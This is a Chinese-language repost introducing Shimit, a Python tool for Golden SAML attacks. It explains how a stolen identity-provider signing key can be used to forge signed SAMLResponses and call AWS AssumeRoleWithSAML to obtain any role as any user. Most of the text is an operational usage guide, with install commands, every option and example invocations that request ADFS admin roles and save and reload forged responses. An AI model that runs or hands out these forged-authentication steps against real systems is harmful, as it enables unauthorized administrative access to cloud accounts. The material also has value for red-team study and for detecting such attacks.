Shimit是一个实现Golden SAML攻击的python工具。关于这方面的更多信息可以在我们博客的以下文章中找到。

python .shimit.py -h

 usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]

                  [–SessionValidity SESSION_VALIDITY] [–SamlValidity SAML_VALIDITY] -n SESSION_NAME

                  -r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]

███████╗██╗  ██╗██╗███╗   ███╗██╗████████╗     
██╔════╝██║  ██║██║████╗ ████║██║╚══██╔══╝     
███████╗███████║██║██╔████╔██║██║   ██║        
╚════██║██╔══██║██║██║╚██╔╝██║██║   ██║        
███████║██║  ██║██║██║ ╚═╝ ██║██║   ██║        
╚══════╝╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═╝   ╚═╝      SHIMT

概观

在金色的SAML攻击中,攻击者可以以任何他们想要的权限访问应用程序(任何支持SAML身份验证的应用程序),并成为目标应用程序上的任何用户。

shimit允许用户创建一个签名的SAMLResponse对象,并使用它在服务提供者中打开一个会话。shimit现在支持作为服务提供商的 AWS控制台,更多正在开发中……

AWS

在生成并签署SAMLResponse的断言之后,shimit将调用AWS中的AssumeRoleWithSAML() API。然后,会话标记和密钥将应用于新会话,用户可以使用aws cli使用使用黄金SAML获取的权限执行操作。

要求:

要安装所需的模块,请运行以下命令:

python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml

AWS cli

需要安装才能使用获得的凭据。可以 从这些链接下载用于WindowsLinux

用法:

为AWS cli申请会话

python .shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domainadmin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

idp – 身份提供商URL,例如http://server.domain.com/adfs/services/trust

pk – 私钥文件完整路径(pem格式)

c – 证书文件完整路径(pem格式)

u – 用户和域名,例如domain username(在* nix中使用或引号)

n – AWS中的会话名称

r – AWS中期望的角色。支持多个角色,将假定第一个角色。

id – AWS账户ID,例如123456789012

将SAMLResponse保存到文件

python .shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domainadmin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

o – 将编码的SAMLResponse输出到指定的文件路径

从文件加载SAMLResponse

python .shimit.py -l saml_response.xml

l – 从指定的文件路径加载SAMLResponse

本文作者:FreeaRoot

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/69805.html

本文来源于互联网:Golden SAML攻击利器Shimit介绍